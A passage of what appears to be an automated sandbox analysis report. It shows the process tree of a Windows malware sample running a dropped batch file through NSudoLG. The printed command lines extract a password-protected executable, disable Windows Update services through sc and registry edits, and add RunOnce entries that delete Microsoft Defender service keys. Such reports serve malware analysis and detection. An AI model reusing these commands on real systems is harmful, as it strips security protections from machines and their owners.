                                                                                                                    NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" any_word
                                                                                                                    4⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:5104
                                                                                                                  • C:\Windows\SysWOW64\mode.com
                                                                                                                    Mode 79,49
                                                                                                                    4⤵
                                                                                                                      PID:4316
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c ver
                                                                                                                      4⤵
                                                                                                                      • Executes a command shell one-liner
                                                                                                                      PID:4356
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
                                                                                                                      4⤵
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:1852
                                                                                                                    • C:\Windows\SysWOW64\find.exe
                                                                                                                      find /i "0x0"
                                                                                                                      4⤵
                                                                                                                        PID:4724
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c tasklist
                                                                                                                        4⤵
                                                                                                                        • Executes a command shell one-liner
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:2656
                                                                                                                        • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                          tasklist
                                                                                                                          5⤵
                                                                                                                          • Enumerates processes with tasklist
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:3048
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
                                                                                                                        4⤵
                                                                                                                          PID:5176
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
                                                                                                                          4⤵
                                                                                                                            PID:1996
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
                                                                                                                            4⤵
                                                                                                                              PID:3168
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              reg query "HKLM\System\CurrentControlSet\Services\Sense"
                                                                                                                              4⤵
                                                                                                                                PID:2512
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
                                                                                                                                4⤵
                                                                                                                                  PID:4308
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
                                                                                                                                  4⤵
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:5328
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
                                                                                                                                  4⤵
                                                                                                                                    PID:3768
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
                                                                                                                                    4⤵
                                                                                                                                      PID:1752
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
                                                                                                                                      4⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:2140
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
                                                                                                                                      4⤵
                                                                                                                                        PID:2176
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
                                                                                                                                        4⤵
                                                                                                                                          PID:3224
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
                                                                                                                                          4⤵
                                                                                                                                            PID:1208
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
                                                                                                                                            4⤵
                                                                                                                                              PID:5908
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
                                                                                                                                              4⤵
                                                                                                                                                PID:1696
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
                                                                                                                                                4⤵
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:5852
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
                                                                                                                                                4⤵
                                                                                                                                                  PID:3048
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" ver "
                                                                                                                                                  4⤵
                                                                                                                                                    PID:1920
                                                                                                                                                  • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                    findstr /c:"6.1.7601"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:536
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
                                                                                                                                                      4⤵
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:1712
                                                                                                                                                    • C:\Windows\SysWOW64\find.exe
                                                                                                                                                      find /i "Windows 7"
                                                                                                                                                      4⤵
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:1012
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      reg query HKLM\System\CurrentControlset\Services\WdFilter
                                                                                                                                                      4⤵
                                                                                                                                                      • Modifies registry key
                                                                                                                                                      PID:1856
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\barer\7z.exe
                                                                                                                                                      7z x -aoa -bso0 -bsp1 "land.zip" -p"hueras" "game.exe"
                                                                                                                                                      4⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                      PID:2984
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                                                                      game.exe /CurrentDiskSize
                                                                                                                                                      4⤵
                                                                                                                                                      • Checks computer location settings
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:4260
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                                        5⤵
                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                        PID:4944
                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                          sc query IObitUnlocker
                                                                                                                                                          6⤵
                                                                                                                                                          • Launches sc.exe
                                                                                                                                                          PID:4116
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      sc stop wuauserv
                                                                                                                                                      4⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:5064
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      sc config wuauserv start= disabled
                                                                                                                                                      4⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      PID:5368
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      sc stop dosvc
                                                                                                                                                      4⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      PID:4488
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      sc config dosvc start= disabled
                                                                                                                                                      4⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      PID:4160
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      sc stop bits
                                                                                                                                                      4⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      PID:5988
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      sc config bits start= disabled
                                                                                                                                                      4⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      PID:5536
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      sc stop UsoSvc
                                                                                                                                                      4⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:4532
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      sc config UsoSvc start= disabled
                                                                                                                                                      4⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      PID:2552
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      sc stop WaaSMedicSvc
                                                                                                                                                      4⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      PID:4828
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      sc config WaaSMedicSvc start= disabled
                                                                                                                                                      4⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      PID:3128
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                                                                                                                                                      4⤵
                                                                                                                                                        PID:5052
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
                                                                                                                                                        4⤵
                                                                                                                                                          PID:3524
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
                                                                                                                                                          4⤵
                                                                                                                                                            PID:1196
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
                                                                                                                                                            4⤵
                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                            PID:3288
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                                            4⤵
                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                            PID:5984
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                                            4⤵
                                                                                                                                                              PID:5960
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                                              4⤵
                                                                                                                                                                PID:2284
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                reg unload HKLM\TEMP_SYSTEM
                                                                                                                                                                4⤵
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:4396
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                                                                                game /delwd
                                                                                                                                                                4⤵
                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                PID:4824
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                  PID:5772
                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:4800
                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                      sc query IObitUnlocker
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                      PID:3812
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4824"
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                    PID:1552
                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                      taskkill /f /pid "4824"
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                      PID:5816
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                                                                                  game /DelWD
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  PID:1952
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                    PID:5984
                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                      sc query IObitUnlocker
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                      PID:3796
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1952"
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                    PID:1852
                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                      taskkill /f /pid "1952"
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                      PID:3872
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
                                                                                                                                                                  4⤵
                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                  PID:5040
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:5084
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:5092
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" "
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                    PID:5504
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\barer\nircmd.exe
                                                                                                                                                                      nircmd win min process "cmd.exe"
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:4260
                                                                                                                                                                    • C:\Windows\SysWOW64\chcp.com
                                                                                                                                                                      chcp 65001
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:1196
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        reg query "HKU\S-1-5-19"
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:5036
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
                                                                                                                                                                          4⤵
                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                          PID:4616
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe
                                                                                                                                                                          NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" any_word
                                                                                                                                                                          4⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                          PID:5408
                                                                                                                                                                        • C:\Windows\SysWOW64\mode.com
                                                                                                                                                                          Mode 79,49
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:5376
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ver
                                                                                                                                                                            4⤵
                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                            PID:2516
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
                                                                                                                                                                            4⤵
                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                            PID:756
                                                                                                                                                                          • C:\Windows\SysWOW64\find.exe
                                                                                                                                                                            find /i "0x0"
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:3812
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c tasklist
                                                                                                                                                                              4⤵
                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                              PID:2448
                                                                                                                                                                              • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                tasklist
                                                                                                                                                                                5⤵
                                                                                                                                                                                • Enumerates processes with tasklist
                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                PID:3980
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
                                                                                                                                                                              4⤵
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:4852
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:3144
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:2876
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\Sense"
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:4168
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:1916
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:2396
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:628
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:5900
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:5156
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:1040
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:732
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:5092
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:552
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:4532
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                        PID:4864
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                        PID:1516
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" ver "
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:3096
                                                                                                                                                                                                        • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                          findstr /c:"6.1.7601"
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                          PID:4032
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                          PID:408
                                                                                                                                                                                                        • C:\Windows\SysWOW64\find.exe
                                                                                                                                                                                                          find /i "Windows 7"
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:1676
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            reg query HKLM\System\CurrentControlset\Services\WdFilter
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                            PID:3536
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\barer\7z.exe
                                                                                                                                                                                                            7z x -aoa -bso0 -bsp1 "land.zip" -p"hueras" "game.exe"
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                            PID:5064
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                                                                                                                            game.exe /CurrentDiskSize
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Checks computer location settings
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            PID:6016
                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                              PID:3196
                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                sc query IObitUnlocker
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                PID:4480
                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "6016"
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                              PID:4864
                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:4368
                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                  taskkill /f /pid "6016"
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                  PID:5784
                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                              sc stop wuauserv
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                              PID:2108
                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                              sc config wuauserv start= disabled
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                              PID:5032
                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                              sc stop dosvc
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                              PID:2120
                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                              sc config dosvc start= disabled
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                              PID:4752
                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                              sc stop bits
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                              PID:4396
                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                              sc config bits start= disabled
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                              PID:4824
                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                              sc stop UsoSvc
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                              PID:2176
                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                              sc config UsoSvc start= disabled
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                              PID:3364
                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                              sc stop WaaSMedicSvc
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                              PID:1828
                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                              sc config WaaSMedicSvc start= disabled
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                              PID:4636
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                              PID:2136
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:4852
